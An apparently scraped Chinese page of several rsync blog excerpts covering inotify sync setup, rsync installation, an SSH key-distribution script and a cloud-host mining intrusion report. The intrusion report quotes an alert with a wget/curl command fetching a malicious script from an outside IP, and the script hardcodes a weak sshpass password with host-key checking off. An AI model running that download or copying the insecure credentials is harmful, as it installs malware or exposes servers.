rsync

inotify+rsync实现实时同步部署

若如初见. 提交于 2020-03-19 12:54:00
1.1.架构规划 1.1.1架构规划准备 服务器系统 角色 IP Centos6.7 x86_64 NFS服务器端(NFS-server-inotify-tools) 192.168.1.14 Centos6.7 x86_64 rsync服务器端(rsync热备服务器) 192.168.1.17 1.1.2架构图 2.1 部署前检查 2.1.1 检查rsync热备服务器daemon是否起来 1 [root@backup data]# lsof -i:873 2 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME 3 rsync 3071 root 3u IPv4 18684 0t0 TCP *:rsync (LISTEN) 4 rsync 3071 root 5u IPv6 18685 0t0 TCP *:rsync (LISTEN) 5 [root@backup data]# ps -ef|grep rsync|grep -v grep 6 root 3071 1 0 Dec02 ? 00:00:00 rsync --daemon 7 [root@backup data]# 2.1.2 NFS服务器相对于rsync服务器来说是客户端,所以要配置一个客户端密码 1 [root@nfs-server ~]# echo "zhurui"

记录一次云主机被攻击挂恶意代码挖矿的事件

纵然是瞬间 提交于 2020-03-19 02:40:28
3 月,跳不动了?>>> 由于ECS使用了有规律的弱密码被SSH暴力破解(非22端口) 阿里云提示被入侵且执行了恶意代码,安全中心可处理。 相关资料: https://bbs.pediy.com/thread-251753.htm https://zhuanlan.zhihu.com/p/111351235 但至第二天凌晨时,依旧报警。 父进程路径: /usr/bin/perl 父进程命令行: rsync 父进程id: 12354 进程id: 12355 用户名: root URL链接: http://45.55.129.23/tddwrt7s.sh 进程路径: /usr/bin/bash 命令行参数: sh -c wget -q http://45.55.129.23/tddwrt7s.sh || curl -s -O -f http://45.55.129.23/tddwrt7s.sh 2>&1 3>&1 与该URL有关联的漏洞: None 事件说明: 云盾检测到您的服务器正在尝试访问一个可疑恶意下载源,可能是黑客通过指令从远程服务器下载恶意文件,危害服务器安全。如果该指令不是您自己运行,请及时排查入侵原因,例如查看本机的计划任务、发起对外连接的父子进程。 解决方案: 请及时排查告警中提示的恶意URL,以及所下载的目录下的恶意文件,并及时清理已运行的恶意进程

Linux下rsync 安装与配置

杀马特。学长 韩版系。学妹 提交于 2020-03-16 19:11:22
1、什么是rsync Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。Rsync使用所谓的“Rsync算法”来使本地和远 程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。 2、rsync服务器端架设 2.1:rsync下载 https://download.samba.org/pub/rsync/src/rsync-3.1.2.tar.gz cd /home/software wget https://download.samba.org/pub/rsync/src/rsync-3.1.2.tar.gz tar -zxvf rsync-3.1.2.tar.gz 2.2:安装rsync   cd rsync-3.1.2   ./configure --prefix=/usr/local/rsync   make   make install 2.3:配置rsync-server   2.3.1:配置rsyncd.conf (手动创建   touch /usr/local/rsync/rsyncd.conf )   vim /usr/local/rsyncd.conf   ### 全局参数 ###   port=873   motd file=/usr

Linux centos 监控备份

三世轮回 提交于 2020-03-12 22:41:45
创建m01、backup、nfs、web01、web02 m01(172.16.1.61)、backup(172.16.1.41)、nfs(172.16.1.31)、web01(172.16.1.7)、web02(172.16.1.8) 下载监控包上传到m01上的/server/tools/目录下 监控包: 提取码:a0cq 创建脚本 vim ts.sh添加以下内容。 #/bin/sh cd /root/.ssh/ &&\ rm -f * &&\ /bin/ssh-keygen -t rsa -f /root/.ssh/id_rsa -P "" &>/dev/null yum install -y sshpass >/dev/null 2>&1 for n in 7 8 31 41 61 do sshpass -p123456 ssh-copy-id -i ~/.ssh/id_rsa.pub 172.16.1.$n -o StrictHostKeyChecking=no &>/dev/null if [ $? -eq 0 ] then echo "172.16.1.$n Distribute successfully " else echo "172.16.1.$n Distribute no successfully " fi done &&\ scp -P 22 -rp

第2章 rsync(一):基本命令和用法

女生的网名这么多〃 提交于 2020-03-11 18:43:27
以下是rsync系列篇:   1.rsync(一):基本命令和用法   2.rsync(二):inotify+rsync详细说明和sersync   3.rsync算法原理和工作流程分析   4.rsync技术报告(翻译)   5.rsync工作机制(翻译)   6.man rsync翻译(rsync命令中文手册) 2.1 说在前面的话 rsync官方网站: https://www.samba.org/ftp/rsync/rsync.html rsync是可以实现增量备份的工具。配合任务计划,rsync能实现定时或间隔同步,配合inotify或sersync,可以实现触发式的实时同步。 rsync可以实现scp的远程拷贝(rsync不支持远程到远程的拷贝,但scp支持)、cp的本地拷贝、rm删除和"ls -l"显示文件列表等功能。但需要注意的是,rsync的最终目的或者说其原始目的是实现两端主机的文件同步,因此实现的scp/cp/rm等功能仅仅只是同步的辅助手段,且rsync实现这些功能的方式和这些命令是不一样的。事实上,rsync有一套自己的算法,其算法原理以及rsync对算法实现的机制可能比想象中要复杂一些。平时使用rsync实现简单的备份、同步等功能足以,没有多大必要去深究这些原理性的内容。但是想要看懂rsync命令的man文档、使用"-vvvv"分析rsync执行过程

Linux如何复制但不能覆盖?

我的未来我决定 提交于 2020-03-10 22:14:36
我想 cp 一个目录,但我不希望覆盖任何现有的文件,即使是它们比复制的文件旧。 我想完全非交互式,因为这将是Crontab Bash脚本的一部分。 有任何想法吗? #1楼 对于那些发现没有'n'选项的人(比如RedHat上的我),你可以使用 cp -u 只写一个文件,如果源比现有的更新(或者没有现有的) 。 [编辑]如评论中所述,这将覆盖旧文件,因此不是OP想要的。 使用ceving的答案。 #2楼 这将适用于RedHat: false | cp -i source destination 2>/dev/null 更新 而 不是覆盖 是不同的。 #3楼 考虑使用 rsync 。 rsync -a -v --ignore-existing src dst 根据评论 rsync -a -v src dst 不正确,因为它将更新现有文件。 #4楼 Alpine linux: 以下答案仅适用于单个文件的情况:在alpine cp -n 无法正常工作(以及 false | cp -i ... 也是如此)所以解决方案在我的情况下工作,我发现: if [ ! -f env.js ]; then cp env.example.js env.js; fi 在上面的例子中,如果 env.js 文件不存在,那么我们将 env.example.js 复制到 env.js #5楼 某些版本的cp没有 -

《云计算》-网络服务部署-rsync远程同步部署-rsync+SSH 加密操作

雨燕双飞 提交于 2020-03-07 02:58:48
1 案例1:rsync基本用法 1.1 问题 本例要求掌握远程同步的基本操作,使用rsync命令完成下列任务: 将目录 /boot 同步到目录 /todir 下 将目录 /boot 下的文档同步到目录 /todir 下 在目录 /boot 下新增文件 a.txt,删除 /todir 下的子目录 grub2,再次同步使 /todir 与 /boot 一致 验证 -a、-n、-v、--delete 选项的含义 1.2 方案 本地同步操作: rsync [选项...] 本地目录1 本地目录2 rsync [选项...] 本地目录1/ 本地目录2 rsync同步工具的常用选项: -n:测试同步过程,不做实际修改 --delete:删除目标文件夹内多余的文档 -a:归档模式,相当于-rlptgoD -v:显示详细操作信息 -z:传输过程中启用压缩/解压 1.3 步骤 实现此案例需要按照如下步骤进行。 步骤一:rsync同步基本操作 1)将目录 /boot 同步到目录 /todir 下 [root@svr7 ~]# ls -l /todir //同步前 ls: 无法访问/todir: 没有那个文件或目录 [root@svr7 ~]# rsync -a /boot /todir //将目录1作为目录2的子目录 [root@svr7 ~]# ls -l /todir //检查同步结果 总用量 4

rsync

我的未来我决定 提交于 2020-03-06 20:54:45
#---Install Rsync---# wget http://211.147.218.10:805/bench_soft/rsync-3.0.7.tar.gz tar zxf rsync-3.0.7.tar.gz cd rsync-3.0.7.tar.gz ./configure --prefix=/usr/local/rsync3.0.7/ make && make install #---rsync.conf---# #hosts allow = * default is all accepted #read only = true default is true #strict modes =yes default is yes #use chroot = no default is no uid = root gid = root port = port address = ip_address transfer logging = true log format = %o %h [%a] %m (%u) %f %l %t [%p] log file = /usr/local/rsync3.0.7/log/rsyncd.log pid file = /usr/local/rsync3.0.7/run/rsyncd.pid max connections = 50

分发系统介绍expect脚本远程登录expect脚本远程执行命令 expect脚本传递参数

早过忘川 提交于 2020-03-05 15:33:05
分发系统介绍 分发系统-expect讲解(也就是一个分发的脚本) 场景: 业务越来越大,网站app,后端,编程语言是php,所以就需要配置lamp或者lnmp,最好还需要吧代码上传到服务器上;但是因为业务增加,代码增加,多台机器,就会非常麻烦;这是只需要一个分发系统,就可以把每次更新的代码发布到需要更新的服务器上 expect,是一种脚本语言;通过他可以实现传输,输入命令(上线代码) 首先要准备一台模板机器,机器的IP,对应用户的密码,通过rsync同步代码,还可以通过expect去执行某些命令 expect脚本远程登录 yum install -y expect 自动远程登录 vim 1.expect [root@yong-01 sbin]# vim 1.expect #! /usr/bin/expect set host "192.168.180.135" set passwd "20655739" spawn ssh root@$host expect { "yes/no" { send "yes\r"; exp_continue} // "password:" { send "$passwd\r" } } interact //脚本结束 在expect 定义变量,用set 这个文件是就保证登录信息的,清空的话,重新远程登录ssh 会有提示 /root/.ssh/known

Linux命令学习神器!命令看不懂直接给你解释!

元气小坏坏 提交于 2020-03-03 14:09:36
大家都知道,Linux 系统有非常多的命令,而且每个命令又有非常多的用法,想要全部记住所有命令的所有用法,恐怕是一件不可能完成的任务。 一般情况下,我们学习一个命令时,要么直接百度去搜索它的用法,要么就直接用 man 命令去查看守冗长的帮助手册。这两个都可以实现我们的目标,但有没有更简便的方式呢? 答案是必须有的!今天给大家推荐一款有趣而实用学习神器 — kmdr ,让你解锁 Linux 学习新姿势。 kmdr 工具最大的亮点就是,**如果有一个长串命令你看不懂它的用法及意义,它将直接分模块给你详细解释!**这个功能真的是非常实用,因为我们在网上或书上难免会看到各种各样的命令,如果你看不懂,那将永远留下疑惑。而这个工具就像老师一样,按模块一个个告诉你命令各个部分的用法及意义,让你一目了然! kmdr 收纳了非常多的 CLI 命令解释,例如常见的 ansible, conda, docker, git, go, kubectl, mongo, mysql, npm, ruby gems, vagrant 等等,不仅如此,那些 bash 内置命令 它都能为你解释,非常给力! 不管你是哪个领域的程序员, kmdr 都能最大限度地为你提供 CLI 命令学习帮助。 Bash Shell 命令(如 echo,export,cd) 容器(如 Docker,kubectl) 版本控制(如 Git)